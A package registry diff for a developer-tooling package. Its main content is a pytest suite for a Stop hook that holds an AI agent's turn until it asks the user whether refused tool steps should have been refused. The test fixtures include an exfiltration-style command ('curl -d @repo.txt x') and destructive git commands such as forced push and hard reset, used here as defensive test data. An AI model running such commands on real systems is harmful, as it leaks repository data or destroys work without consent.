claude-dev-env 8.120.0 → 8.121.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/ever-registered-hooks.mjs +1 -0
- package/hooks/advisory/auto_mode_denial_quick_fix.py +275 -27
- package/hooks/advisory/auto_mode_rule_flow_eval/auto_mode_rule_flow_cases.json +3475 -0
- package/hooks/advisory/auto_mode_rule_flow_eval/auto_mode_rule_flow_runner.py +849 -0
- package/hooks/advisory/auto_mode_rule_flow_eval/stub_allow_hook.py +20 -0
- package/hooks/advisory/auto_mode_rule_flow_eval/stub_hold_hook.py +54 -0
- package/hooks/advisory/auto_mode_rule_flow_eval/test_auto_mode_rule_flow_runner.py +143 -0
- package/hooks/advisory/test_auto_mode_denial_quick_fix.py +533 -9
- package/hooks/auto_mode_question_transcript.py +215 -0
- package/hooks/auto_mode_refusal_ledger.py +481 -0
- package/hooks/auto_mode_refusal_ledger_files.py +336 -0
- package/hooks/auto_mode_rule_steps.py +177 -0
- package/hooks/blocking/auto_mode_refusal_stop_gate.py +384 -0
- package/hooks/blocking/test_auto_mode_refusal_stop_gate.py +484 -0
- package/hooks/features/README.md +1 -1
- package/hooks/features/session-context.md +5 -2
- package/hooks/hooks.json +5 -0
- package/hooks/hooks_constants/auto_mode_denial_quick_fix_constants.py +51 -3
- package/hooks/hooks_constants/auto_mode_refusal_ledger_constants.py +85 -0
- package/hooks/hooks_constants/auto_mode_refusal_stop_gate_constants.py +80 -0
- package/hooks/hooks_constants/auto_mode_rule_flow_runner_constants.py +225 -0
- package/hooks/hooks_constants/auto_mode_rule_steps_constants.py +82 -0
- package/hooks/test_auto_mode_question_transcript.py +113 -0
- package/hooks/test_auto_mode_refusal_ledger.py +398 -0
- package/hooks/test_auto_mode_refusal_ledger_files.py +155 -0
- package/hooks/test_auto_mode_rule_steps.py +210 -0
- package/package.json +1 -1
- package/scripts/policy_lint/adapter_configuration.py +5 -0
- package/scripts/policy_lint/config/constants.py +1 -0
- package/scripts/tests/test_adapter_configuration.py +8 -0
|
@@ -0,0 +1,484 @@
|
|
|
1
|
+
"""Behavior tests for the auto mode refusal Stop gate."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import io
|
|
6
|
+
import json
|
|
7
|
+
import os
|
|
8
|
+
import subprocess
|
|
9
|
+
import sys
|
|
10
|
+
from pathlib import Path
|
|
11
|
+
|
|
12
|
+
import pytest
|
|
13
|
+
|
|
14
|
+
import auto_mode_refusal_ledger as ledger
|
|
15
|
+
import auto_mode_refusal_stop_gate as stop_gate
|
|
16
|
+
from advisory.auto_mode_denial_quick_fix import action_summary_from
|
|
17
|
+
from blocking.question_brief_gate import count_list_items
|
|
18
|
+
from hooks_constants.ask_user_question_shape import count_prose_words
|
|
19
|
+
from hooks_constants.auto_mode_denial_quick_fix_constants import (
|
|
20
|
+
MAXIMUM_ACTION_SUMMARY_CHARACTERS,
|
|
21
|
+
)
|
|
22
|
+
from hooks_constants.question_brief_gate_constants import (
|
|
23
|
+
MAXIMUM_BRIEF_LIST_ITEM_COUNT,
|
|
24
|
+
MAXIMUM_BRIEF_WORD_COUNT,
|
|
25
|
+
)
|
|
26
|
+
|
|
27
|
+
GIT_QUESTION = "Auto mode refused 1 Bash step under the Git Destructive rule. Should auto mode have refused it?"
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
@pytest.fixture(autouse=True)
|
|
31
|
+
def scratch_flow(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
|
|
32
|
+
config_directory = tmp_path / "config"
|
|
33
|
+
config_directory.mkdir()
|
|
34
|
+
playbook_path = tmp_path / "agent-channels" / "docs" / "auto-mode-rule.md"
|
|
35
|
+
playbook_path.parent.mkdir(parents=True)
|
|
36
|
+
playbook_path.write_text("# Playbook\n", encoding="utf-8")
|
|
37
|
+
(tmp_path / "transcript.jsonl").write_text("", encoding="utf-8")
|
|
38
|
+
monkeypatch.setenv("CLAUDE_CONFIG_DIR", str(config_directory))
|
|
39
|
+
monkeypatch.setenv("HOME", str(tmp_path))
|
|
40
|
+
monkeypatch.setenv("CLAUDE_AUTO_MODE_RULE_PLAYBOOK", str(playbook_path))
|
|
41
|
+
monkeypatch.delenv("CLAUDE_CODE_ENTRYPOINT", raising=False)
|
|
42
|
+
return tmp_path
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
def _refuse(tmp_path: Path, command: str, rule_label: str = "Git Destructive") -> Path:
|
|
46
|
+
tool_input = {"command": command}
|
|
47
|
+
ledger_directory = ledger.ledger_directory_for("s1")
|
|
48
|
+
entry_id = ledger.entry_id_for("Bash", tool_input)
|
|
49
|
+
ledger.add_entry(
|
|
50
|
+
ledger_directory,
|
|
51
|
+
{
|
|
52
|
+
"id": entry_id,
|
|
53
|
+
"tool_name": "Bash",
|
|
54
|
+
"tool_input": tool_input,
|
|
55
|
+
"rule_label": rule_label,
|
|
56
|
+
"action_summary": command,
|
|
57
|
+
},
|
|
58
|
+
)
|
|
59
|
+
ledger.write_question_records(
|
|
60
|
+
ledger_directory,
|
|
61
|
+
ledger.question_groups(ledger.load_entries(ledger_directory)),
|
|
62
|
+
tmp_path / "transcript.jsonl",
|
|
63
|
+
)
|
|
64
|
+
return ledger_directory / f"{entry_id}.json"
|
|
65
|
+
|
|
66
|
+
|
|
67
|
+
def _append_call(
|
|
68
|
+
tmp_path: Path,
|
|
69
|
+
tool_name: str,
|
|
70
|
+
tool_input: object,
|
|
71
|
+
tool_use_result: object = "ok",
|
|
72
|
+
is_error: bool = False,
|
|
73
|
+
) -> None:
|
|
74
|
+
tool_use_id = f"toolu_{len((tmp_path / 'transcript.jsonl').read_text(encoding='utf-8'))}"
|
|
75
|
+
result_block: dict[str, object] = {"type": "tool_result", "tool_use_id": tool_use_id}
|
|
76
|
+
if is_error:
|
|
77
|
+
result_block["is_error"] = True
|
|
78
|
+
all_records = [
|
|
79
|
+
{
|
|
80
|
+
"type": "assistant",
|
|
81
|
+
"message": {
|
|
82
|
+
"content": [
|
|
83
|
+
{"type": "tool_use", "id": tool_use_id, "name": tool_name, "input": tool_input}
|
|
84
|
+
]
|
|
85
|
+
},
|
|
86
|
+
},
|
|
87
|
+
{"type": "user", "toolUseResult": tool_use_result, "message": {"content": [result_block]}},
|
|
88
|
+
]
|
|
89
|
+
with (tmp_path / "transcript.jsonl").open("a", encoding="utf-8") as transcript_file:
|
|
90
|
+
for each_record in all_records:
|
|
91
|
+
transcript_file.write(json.dumps(each_record) + "\n")
|
|
92
|
+
|
|
93
|
+
|
|
94
|
+
def _answer(tmp_path: Path, question: str, answer: str) -> None:
|
|
95
|
+
_append_call(
|
|
96
|
+
tmp_path,
|
|
97
|
+
"AskUserQuestion",
|
|
98
|
+
{"questions": [{"question": question, "header": "Auto mode"}]},
|
|
99
|
+
{"questions": [{"question": question}], "answers": {question: answer}},
|
|
100
|
+
)
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
def _stop_payload(tmp_path: Path) -> dict[str, object]:
|
|
104
|
+
return {
|
|
105
|
+
"session_id": "s1",
|
|
106
|
+
"transcript_path": str(tmp_path / "transcript.jsonl"),
|
|
107
|
+
"hook_event_name": "Stop",
|
|
108
|
+
"stop_hook_active": False,
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
def _hold_reason(tmp_path: Path) -> str | None:
|
|
113
|
+
return stop_gate.hold_reason_for_stop(_stop_payload(tmp_path))
|
|
114
|
+
|
|
115
|
+
|
|
116
|
+
def test_should_hold_with_the_question_labels_card_form_playbook_and_ledger_file(
|
|
117
|
+
tmp_path: Path,
|
|
118
|
+
) -> None:
|
|
119
|
+
ledger_path = _refuse(tmp_path, "git push -f")
|
|
120
|
+
reason_text = _hold_reason(tmp_path)
|
|
121
|
+
assert reason_text is not None
|
|
122
|
+
for each_needle in (
|
|
123
|
+
GIT_QUESTION,
|
|
124
|
+
"`Auto mode`",
|
|
125
|
+
"`Keep refusing`",
|
|
126
|
+
"`Allow it`",
|
|
127
|
+
"`Should auto mode have refused this <tool> step?`",
|
|
128
|
+
"- git push -f",
|
|
129
|
+
str(ledger_path),
|
|
130
|
+
os.environ["CLAUDE_AUTO_MODE_RULE_PLAYBOOK"],
|
|
131
|
+
):
|
|
132
|
+
assert each_needle in reason_text
|
|
133
|
+
|
|
134
|
+
|
|
135
|
+
def test_should_give_ask_user_question_one_question_and_tie_the_card_question_to_card_tools(
|
|
136
|
+
tmp_path: Path,
|
|
137
|
+
) -> None:
|
|
138
|
+
_refuse(tmp_path, "git push -f")
|
|
139
|
+
reason_text = _hold_reason(tmp_path)
|
|
140
|
+
assert reason_text is not None
|
|
141
|
+
question_block = reason_text.split("\n\nQuestion: ", 1)[1].split("\nSteps:", 1)[0]
|
|
142
|
+
assert question_block == GIT_QUESTION
|
|
143
|
+
all_card_lines = [
|
|
144
|
+
each_line
|
|
145
|
+
for each_line in reason_text.splitlines()
|
|
146
|
+
if "Should auto mode have refused this" in each_line
|
|
147
|
+
]
|
|
148
|
+
assert len(all_card_lines) == 1
|
|
149
|
+
assert "`mcp__hearthbot__ask_decision`" in all_card_lines[0]
|
|
150
|
+
assert "AskUserQuestion takes only the Question line" in all_card_lines[0]
|
|
151
|
+
|
|
152
|
+
|
|
153
|
+
def test_should_hold_each_pending_entry_for_its_question_twice_at_most(tmp_path: Path) -> None:
|
|
154
|
+
_refuse(tmp_path, "git push -f")
|
|
155
|
+
assert _hold_reason(tmp_path) is not None
|
|
156
|
+
assert _hold_reason(tmp_path) is not None
|
|
157
|
+
assert _hold_reason(tmp_path) is None
|
|
158
|
+
assert [each.answer for each in ledger.load_entries(ledger.ledger_directory_for("s1"))] == [
|
|
159
|
+
None
|
|
160
|
+
]
|
|
161
|
+
|
|
162
|
+
|
|
163
|
+
def test_should_list_four_groups_at_most_and_hold_the_fifth_on_a_later_stop(
|
|
164
|
+
tmp_path: Path,
|
|
165
|
+
) -> None:
|
|
166
|
+
all_labels = ["Git", "Data", "Destroy", "Oversight", "Security"]
|
|
167
|
+
for each_label in all_labels:
|
|
168
|
+
_refuse(tmp_path, f"step {each_label}", rule_label=each_label)
|
|
169
|
+
first_reason = _hold_reason(tmp_path)
|
|
170
|
+
assert first_reason is not None
|
|
171
|
+
assert [each for each in all_labels if f"under the {each} rule" in first_reason] == all_labels[
|
|
172
|
+
:4
|
|
173
|
+
]
|
|
174
|
+
for each_label in all_labels[:4]:
|
|
175
|
+
_answer(tmp_path, ledger.question_text_for("Bash", each_label, 1), "Keep refusing")
|
|
176
|
+
second_reason = _hold_reason(tmp_path)
|
|
177
|
+
assert second_reason is not None and "under the Security rule" in second_reason
|
|
178
|
+
|
|
179
|
+
|
|
180
|
+
@pytest.mark.parametrize("answer", ["Let me look first", "Allow it (recommended)", "Allow it"])
|
|
181
|
+
def test_should_end_the_turn_once_the_exact_question_was_asked_whatever_the_answer(
|
|
182
|
+
tmp_path: Path, answer: str
|
|
183
|
+
) -> None:
|
|
184
|
+
_refuse(tmp_path, "git push -f")
|
|
185
|
+
assert _hold_reason(tmp_path) is not None
|
|
186
|
+
_answer(tmp_path, GIT_QUESTION, answer)
|
|
187
|
+
assert _hold_reason(tmp_path) is None
|
|
188
|
+
assert [each.answer for each in ledger.load_entries(ledger.ledger_directory_for("s1"))] == [
|
|
189
|
+
None
|
|
190
|
+
]
|
|
191
|
+
|
|
192
|
+
|
|
193
|
+
def test_should_hold_again_when_the_agent_reworded_the_question(tmp_path: Path) -> None:
|
|
194
|
+
_refuse(tmp_path, "git push -f")
|
|
195
|
+
_answer(tmp_path, "Should auto mode have refused the push?", "Allow it")
|
|
196
|
+
reason_text = _hold_reason(tmp_path)
|
|
197
|
+
assert reason_text is not None and GIT_QUESTION in reason_text
|
|
198
|
+
|
|
199
|
+
|
|
200
|
+
def test_should_end_the_turn_after_a_decision_card_in_the_card_form(tmp_path: Path) -> None:
|
|
201
|
+
_refuse(tmp_path, "git push -f")
|
|
202
|
+
_append_call(
|
|
203
|
+
tmp_path,
|
|
204
|
+
"mcp__hearthbot__ask_decision",
|
|
205
|
+
{"question": "Should auto mode have refused this Bash step?"},
|
|
206
|
+
"Decision card sent.",
|
|
207
|
+
)
|
|
208
|
+
assert _hold_reason(tmp_path) is None
|
|
209
|
+
|
|
210
|
+
|
|
211
|
+
@pytest.mark.parametrize(
|
|
212
|
+
("card_question", "is_error"),
|
|
213
|
+
[
|
|
214
|
+
("Should auto mode have refused this WebFetch step?", False),
|
|
215
|
+
("Should auto mode have refused this Bash step?", True),
|
|
216
|
+
],
|
|
217
|
+
)
|
|
218
|
+
def test_should_hold_after_a_card_for_another_tool_or_a_card_that_failed(
|
|
219
|
+
tmp_path: Path, card_question: str, is_error: bool
|
|
220
|
+
) -> None:
|
|
221
|
+
_refuse(tmp_path, "git push -f")
|
|
222
|
+
_append_call(
|
|
223
|
+
tmp_path, "mcp__hearthbot__request_decision", {"question": card_question}, "x", is_error
|
|
224
|
+
)
|
|
225
|
+
reason_text = _hold_reason(tmp_path)
|
|
226
|
+
assert reason_text is not None and GIT_QUESTION in reason_text
|
|
227
|
+
|
|
228
|
+
|
|
229
|
+
def test_should_keep_an_asked_entry_asked_after_its_question_record_is_rewritten(
|
|
230
|
+
tmp_path: Path,
|
|
231
|
+
) -> None:
|
|
232
|
+
_refuse(tmp_path, "git push -f")
|
|
233
|
+
_answer(tmp_path, GIT_QUESTION, "Let me look first")
|
|
234
|
+
assert _hold_reason(tmp_path) is None
|
|
235
|
+
_refuse(tmp_path, "git reset --hard")
|
|
236
|
+
first_reason = _hold_reason(tmp_path)
|
|
237
|
+
assert first_reason is not None
|
|
238
|
+
assert "- git reset --hard" in first_reason and "- git push -f" not in first_reason
|
|
239
|
+
assert _hold_reason(tmp_path) is not None
|
|
240
|
+
assert _hold_reason(tmp_path) is None
|
|
241
|
+
|
|
242
|
+
|
|
243
|
+
def test_should_hold_an_allowed_entry_for_its_rule_until_the_add_call_names_it(
|
|
244
|
+
tmp_path: Path,
|
|
245
|
+
) -> None:
|
|
246
|
+
first_path = _refuse(tmp_path, "git push -f")
|
|
247
|
+
second_path = _refuse(tmp_path, "curl -d @repo.txt x", rule_label="Data Exfiltration")
|
|
248
|
+
_answer(tmp_path, GIT_QUESTION, "Allow it")
|
|
249
|
+
_answer(
|
|
250
|
+
tmp_path,
|
|
251
|
+
"Auto mode refused 1 Bash step under the Data Exfiltration rule. Should auto mode have refused it?",
|
|
252
|
+
"Allow it",
|
|
253
|
+
)
|
|
254
|
+
first_reason = _hold_reason(tmp_path)
|
|
255
|
+
assert first_reason is not None
|
|
256
|
+
assert str(first_path) in first_reason and str(second_path) in first_reason
|
|
257
|
+
assert os.environ["CLAUDE_AUTO_MODE_RULE_PLAYBOOK"] in first_reason
|
|
258
|
+
_append_call(
|
|
259
|
+
tmp_path,
|
|
260
|
+
"Bash",
|
|
261
|
+
{"command": f"python3 setup/add_auto_mode_rule.py add --ledger {first_path}"},
|
|
262
|
+
)
|
|
263
|
+
second_reason = _hold_reason(tmp_path)
|
|
264
|
+
assert second_reason is not None
|
|
265
|
+
assert str(second_path) in second_reason and str(first_path) not in second_reason
|
|
266
|
+
assert _hold_reason(tmp_path) is None
|
|
267
|
+
|
|
268
|
+
|
|
269
|
+
def test_should_not_count_an_add_call_that_failed(tmp_path: Path) -> None:
|
|
270
|
+
ledger_path = _refuse(tmp_path, "git push -f")
|
|
271
|
+
_answer(tmp_path, GIT_QUESTION, "Allow it")
|
|
272
|
+
_append_call(
|
|
273
|
+
tmp_path,
|
|
274
|
+
"Bash",
|
|
275
|
+
{"command": f"python3 setup/add_auto_mode_rule.py add --ledger {ledger_path}"},
|
|
276
|
+
is_error=True,
|
|
277
|
+
)
|
|
278
|
+
reason_text = _hold_reason(tmp_path)
|
|
279
|
+
assert reason_text is not None and str(ledger_path) in reason_text
|
|
280
|
+
|
|
281
|
+
|
|
282
|
+
def test_should_end_the_turn_after_a_kept_answer(tmp_path: Path) -> None:
|
|
283
|
+
_refuse(tmp_path, "git push -f")
|
|
284
|
+
_answer(tmp_path, GIT_QUESTION, "Keep refusing")
|
|
285
|
+
assert _hold_reason(tmp_path) is None
|
|
286
|
+
assert [each.answer for each in ledger.load_entries(ledger.ledger_directory_for("s1"))] == [
|
|
287
|
+
"kept"
|
|
288
|
+
]
|
|
289
|
+
|
|
290
|
+
|
|
291
|
+
def test_should_let_the_turn_end_with_no_entry_with_the_flow_off_or_in_print_mode(
|
|
292
|
+
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
|
293
|
+
) -> None:
|
|
294
|
+
assert _hold_reason(tmp_path) is None
|
|
295
|
+
_refuse(tmp_path, "git push -f")
|
|
296
|
+
monkeypatch.setenv("CLAUDE_CODE_ENTRYPOINT", "sdk-cli")
|
|
297
|
+
assert _hold_reason(tmp_path) is None
|
|
298
|
+
monkeypatch.delenv("CLAUDE_CODE_ENTRYPOINT")
|
|
299
|
+
monkeypatch.delenv("CLAUDE_AUTO_MODE_RULE_PLAYBOOK")
|
|
300
|
+
assert _hold_reason(tmp_path) is None
|
|
301
|
+
|
|
302
|
+
|
|
303
|
+
def test_should_hold_with_exit_two_and_a_block_object_and_skip_a_bad_ledger_file(
|
|
304
|
+
tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
|
|
305
|
+
) -> None:
|
|
306
|
+
_refuse(tmp_path, "git push -f")
|
|
307
|
+
(ledger.ledger_directory_for("s1") / "no-id.json").write_text(
|
|
308
|
+
json.dumps({"answer": None, "tool_name": "Bash", "rule_label": "Git Destructive"}),
|
|
309
|
+
encoding="utf-8",
|
|
310
|
+
)
|
|
311
|
+
monkeypatch.setattr(sys, "stdin", io.StringIO(json.dumps(_stop_payload(tmp_path))))
|
|
312
|
+
assert stop_gate.main() == 2
|
|
313
|
+
captured = capsys.readouterr()
|
|
314
|
+
stop_output = json.loads(captured.out)
|
|
315
|
+
assert stop_output["decision"] == "block"
|
|
316
|
+
assert GIT_QUESTION in stop_output["reason"]
|
|
317
|
+
assert GIT_QUESTION in captured.err
|
|
318
|
+
|
|
319
|
+
|
|
320
|
+
def test_should_exit_zero_when_the_reader_closes_stdout_before_the_hold(
|
|
321
|
+
tmp_path: Path,
|
|
322
|
+
) -> None:
|
|
323
|
+
_refuse(tmp_path, "git push -f")
|
|
324
|
+
gate_run = subprocess.Popen(
|
|
325
|
+
[sys.executable, "-B", stop_gate.__file__],
|
|
326
|
+
stdin=subprocess.PIPE,
|
|
327
|
+
stdout=subprocess.PIPE,
|
|
328
|
+
stderr=subprocess.PIPE,
|
|
329
|
+
env={
|
|
330
|
+
"PATH": os.defpath,
|
|
331
|
+
"HOME": str(tmp_path),
|
|
332
|
+
"CLAUDE_CONFIG_DIR": str(tmp_path / "config"),
|
|
333
|
+
"CLAUDE_AUTO_MODE_RULE_PLAYBOOK": str(
|
|
334
|
+
tmp_path / "agent-channels" / "docs" / "auto-mode-rule.md"
|
|
335
|
+
),
|
|
336
|
+
},
|
|
337
|
+
)
|
|
338
|
+
assert gate_run.stdout is not None and gate_run.stdin is not None
|
|
339
|
+
gate_run.stdout.close()
|
|
340
|
+
gate_run.stdin.write(json.dumps(_stop_payload(tmp_path)).encode("utf-8"))
|
|
341
|
+
gate_run.stdin.close()
|
|
342
|
+
assert gate_run.wait(timeout=30) == 0
|
|
343
|
+
assert gate_run.stderr is not None
|
|
344
|
+
assert b"BrokenPipeError" not in gate_run.stderr.read()
|
|
345
|
+
|
|
346
|
+
|
|
347
|
+
def test_should_let_the_turn_end_on_any_ledger_error(
|
|
348
|
+
tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
|
|
349
|
+
) -> None:
|
|
350
|
+
_refuse(tmp_path, "git push -f")
|
|
351
|
+
|
|
352
|
+
def raise_lookup_error(*_: object) -> None:
|
|
353
|
+
raise LookupError("ledger broke")
|
|
354
|
+
|
|
355
|
+
monkeypatch.setattr(stop_gate.auto_mode_refusal_ledger, "load_entries", raise_lookup_error)
|
|
356
|
+
monkeypatch.setattr(sys, "stdin", io.StringIO(json.dumps(_stop_payload(tmp_path))))
|
|
357
|
+
assert stop_gate.main() == 0
|
|
358
|
+
assert capsys.readouterr().out == ""
|
|
359
|
+
|
|
360
|
+
|
|
361
|
+
@pytest.mark.parametrize(
|
|
362
|
+
("file_name", "extra_fields"),
|
|
363
|
+
[
|
|
364
|
+
("abcd", {}),
|
|
365
|
+
("zzzz", {"question_holds": -1}),
|
|
366
|
+
("zzzz", {"rule_holds": -3, "answer": "allowed"}),
|
|
367
|
+
("zzzz", {"question_holds": 1.5}),
|
|
368
|
+
],
|
|
369
|
+
)
|
|
370
|
+
def test_should_never_hold_for_an_entry_whose_file_name_or_hold_counts_do_not_parse(
|
|
371
|
+
tmp_path: Path, file_name: str, extra_fields: dict[str, object]
|
|
372
|
+
) -> None:
|
|
373
|
+
ledger_directory = ledger.ledger_directory_for("s1")
|
|
374
|
+
ledger_directory.mkdir(parents=True)
|
|
375
|
+
(ledger_directory / f"{file_name}.json").write_text(
|
|
376
|
+
json.dumps(
|
|
377
|
+
{
|
|
378
|
+
"id": "zzzz",
|
|
379
|
+
"tool_name": "Bash",
|
|
380
|
+
"rule_label": "Git Destructive",
|
|
381
|
+
"action_summary": "git push -f",
|
|
382
|
+
"sequence": 1,
|
|
383
|
+
"answer": None,
|
|
384
|
+
**extra_fields,
|
|
385
|
+
}
|
|
386
|
+
),
|
|
387
|
+
encoding="utf-8",
|
|
388
|
+
)
|
|
389
|
+
assert ledger.load_entries(ledger_directory) == []
|
|
390
|
+
for _ in range(3):
|
|
391
|
+
assert _hold_reason(tmp_path) is None
|
|
392
|
+
|
|
393
|
+
|
|
394
|
+
def test_should_hold_when_the_decision_card_came_before_the_question_record(
|
|
395
|
+
tmp_path: Path,
|
|
396
|
+
) -> None:
|
|
397
|
+
_append_call(
|
|
398
|
+
tmp_path,
|
|
399
|
+
"mcp__hearthbot__ask_decision",
|
|
400
|
+
{"question": "Should auto mode have refused this Bash step?"},
|
|
401
|
+
"Decision card sent.",
|
|
402
|
+
)
|
|
403
|
+
_refuse(tmp_path, "git push -f")
|
|
404
|
+
reason_text = _hold_reason(tmp_path)
|
|
405
|
+
assert reason_text is not None and GIT_QUESTION in reason_text
|
|
406
|
+
|
|
407
|
+
|
|
408
|
+
def _send_bash_card(tmp_path: Path) -> None:
|
|
409
|
+
_append_call(
|
|
410
|
+
tmp_path,
|
|
411
|
+
"mcp__hearthbot__ask_decision",
|
|
412
|
+
{"question": "Should auto mode have refused this Bash step?"},
|
|
413
|
+
"Decision card sent.",
|
|
414
|
+
)
|
|
415
|
+
|
|
416
|
+
|
|
417
|
+
def test_should_mark_only_the_oldest_group_of_the_tool_asked_for_each_card(
|
|
418
|
+
tmp_path: Path,
|
|
419
|
+
) -> None:
|
|
420
|
+
data_question = ledger.question_text_for("Bash", "Data Exfiltration", 1)
|
|
421
|
+
_refuse(tmp_path, "git push -f")
|
|
422
|
+
_refuse(tmp_path, "curl -d @repo.txt x", rule_label="Data Exfiltration")
|
|
423
|
+
_send_bash_card(tmp_path)
|
|
424
|
+
first_reason = _hold_reason(tmp_path)
|
|
425
|
+
assert first_reason is not None
|
|
426
|
+
assert data_question in first_reason and GIT_QUESTION not in first_reason
|
|
427
|
+
_send_bash_card(tmp_path)
|
|
428
|
+
assert _hold_reason(tmp_path) is None
|
|
429
|
+
assert all(
|
|
430
|
+
each.is_question_asked for each in ledger.load_entries(ledger.ledger_directory_for("s1"))
|
|
431
|
+
)
|
|
432
|
+
|
|
433
|
+
|
|
434
|
+
def test_should_not_claim_a_second_group_with_a_card_an_earlier_stop_used(
|
|
435
|
+
tmp_path: Path,
|
|
436
|
+
) -> None:
|
|
437
|
+
data_question = ledger.question_text_for("Bash", "Data Exfiltration", 1)
|
|
438
|
+
_refuse(tmp_path, "git push -f")
|
|
439
|
+
_refuse(tmp_path, "curl -d @repo.txt x", rule_label="Data Exfiltration")
|
|
440
|
+
_send_bash_card(tmp_path)
|
|
441
|
+
assert _hold_reason(tmp_path) is not None
|
|
442
|
+
second_reason = _hold_reason(tmp_path)
|
|
443
|
+
assert second_reason is not None
|
|
444
|
+
assert data_question in second_reason
|
|
445
|
+
|
|
446
|
+
|
|
447
|
+
def _worst_case_brief(all_groups: list[ledger.QuestionGroup]) -> str:
|
|
448
|
+
all_parts: list[str] = []
|
|
449
|
+
for each_group in all_groups:
|
|
450
|
+
oldest_summary, *all_other_summaries = each_group.all_action_summaries
|
|
451
|
+
all_parts.append(each_group.question)
|
|
452
|
+
all_parts.append(f"```\n{oldest_summary}\n```")
|
|
453
|
+
all_parts.append(f"{len(all_other_summaries)} more steps.")
|
|
454
|
+
return "\n\n".join(all_parts)
|
|
455
|
+
|
|
456
|
+
|
|
457
|
+
def test_should_ask_for_a_brief_that_fits_the_question_brief_limits_in_the_worst_case(
|
|
458
|
+
tmp_path: Path,
|
|
459
|
+
) -> None:
|
|
460
|
+
all_rule_labels = [
|
|
461
|
+
"Git Destructive",
|
|
462
|
+
"Code That Leaks When Run",
|
|
463
|
+
"Irreversible Local Destruction",
|
|
464
|
+
"Cloud Storage Mass Delete",
|
|
465
|
+
]
|
|
466
|
+
for each_label_index, each_label in enumerate(all_rule_labels):
|
|
467
|
+
for each_step_index in range(5):
|
|
468
|
+
densest_summary = action_summary_from(
|
|
469
|
+
{"command": f"{each_label_index}{each_step_index}" + " a" * 79}
|
|
470
|
+
)
|
|
471
|
+
assert len(densest_summary) == MAXIMUM_ACTION_SUMMARY_CHARACTERS
|
|
472
|
+
_refuse(tmp_path, densest_summary, rule_label=each_label)
|
|
473
|
+
reason_text = _hold_reason(tmp_path)
|
|
474
|
+
assert reason_text is not None
|
|
475
|
+
assert "its oldest step in a code block, then the count of the rest, and no other text" in (
|
|
476
|
+
reason_text
|
|
477
|
+
)
|
|
478
|
+
assert "ask again once with the same brief" in reason_text
|
|
479
|
+
all_groups = ledger.question_groups(ledger.load_entries(ledger.ledger_directory_for("s1")))
|
|
480
|
+
assert len(all_groups) == 4
|
|
481
|
+
assert all(len(each.all_action_summaries) == 5 for each in all_groups)
|
|
482
|
+
brief_text = _worst_case_brief(all_groups)
|
|
483
|
+
assert count_prose_words(brief_text) <= MAXIMUM_BRIEF_WORD_COUNT
|
|
484
|
+
assert count_list_items(brief_text) <= MAXIMUM_BRIEF_LIST_ITEM_COUNT
|
package/hooks/features/README.md
CHANGED
|
@@ -26,7 +26,7 @@ Each family page starts with a title and an agent-facing behavior summary. Its f
|
|
|
26
26
|
- [Bash dispatchers](./bash-dispatchers.md) covers command rewriting and the post-call reminder.
|
|
27
27
|
- [Post-write validation](./post-write-validation.md) covers the after-write dispatcher and formatter.
|
|
28
28
|
- [Conduct gates](./conduct-gates.md) covers chat replies, edit markers, step notes, checked claims, and the pull request lifecycle skill.
|
|
29
|
-
- [Session context](./session-context.md) covers skill reminders, startup guidance, the npx_pele_guidance hook, the pieces_per_level_note hook,
|
|
29
|
+
- [Session context](./session-context.md) covers skill reminders, startup guidance, the npx_pele_guidance hook, the pieces_per_level_note hook, the auto mode denial quick fix, and the refusal Stop gate that holds a turn, twice at most for each kind, to ask the refusal question and, after `Allow it`, to add the durable rule.
|
|
30
30
|
- [Spawn routing](./spawn-routing.md) covers spawn readiness, pacing, and model selection.
|
|
31
31
|
- [Observability](./observability.md) covers instruction loads and edited files.
|
|
32
32
|
- [Read gates](./read-gates.md) covers the image size cap on Read.
|
|
@@ -15,7 +15,8 @@ This family injects reminders and task guidance when an agent starts, resumes, s
|
|
|
15
15
|
- `session/artifact_template_pointer.py` routes an agent that starts an artifact page by scope. A status or progress report prefers the status flowchart from `docs/templates/artifact-page/status-flowchart.html`, unless the person asks for another shape. One flow or one comparison is an inline SVG flowchart with minimal text. A multi-part plan or evidence is an html-plan page from `docs/templates/html-plan/README.md`. When the request names the older artifact page template, it points at `docs/templates/artifact-page/README.md`, which names the tracker template and the diagram template and which ask each fits.
|
|
16
16
|
- `session/npx_pele_guidance.py` tells an agent that runs `npx pele` how to render Mermaid instead. Pele is a library with no command, so the hook names the installed copy and a Node snippet that renders with it. When no copy is installed, it points to the pele.run playground.
|
|
17
17
|
- `advisory/pieces_per_level_note.py` adds one context note when a `git commit` subject or a pull request create call names several pieces in the author's own words: a conventional subject or title whose description joins two or more verb-led clauses with commas, semicolons or "and", a "Proof in practice" section with more than one without/with pair, or a "What this does" section with more than one bold-led topic bullet. The note names the pieces, says each gets its own commit and stack level, and gives the commands that split the commit or the pull request into levels. It never blocks, denies or exits non-zero, and a message or body it cannot read gets no note. A command over 8,000 characters gets no note; a title is read to 300 characters, a body to 20,000, and a body line to 500; and a `-F`, `--file` or `--body-file` path is read only when it is a regular file, and only its first 64 KB. A cheap linear check on the payload comes first: the call must hold a `git commit` with a message flag, or a pull request create, as whole words, with a comma, a semicolon, "and", or a body option in its text (the MCP create tool needs a separator in its title or a body), and any other call starts no child process. A call that passes runs its analysis in a child process under one wall-clock deadline of 1 second for the whole child, start to exit, with at most 0.2 seconds of it spent waiting for the exit. A child past the deadline is killed, and the hook prints nothing and exits 0; so does any error in the parent. The environment variable `PIECES_NOTE_TEST_DEADLINE_SECONDS` sets the deadline for tests only.
|
|
18
|
-
- `advisory/auto_mode_denial_quick_fix.py` proposes one `autoMode.allow` entry and a PowerShell block that writes it after an auto mode denial. It never retries the denied call.
|
|
18
|
+
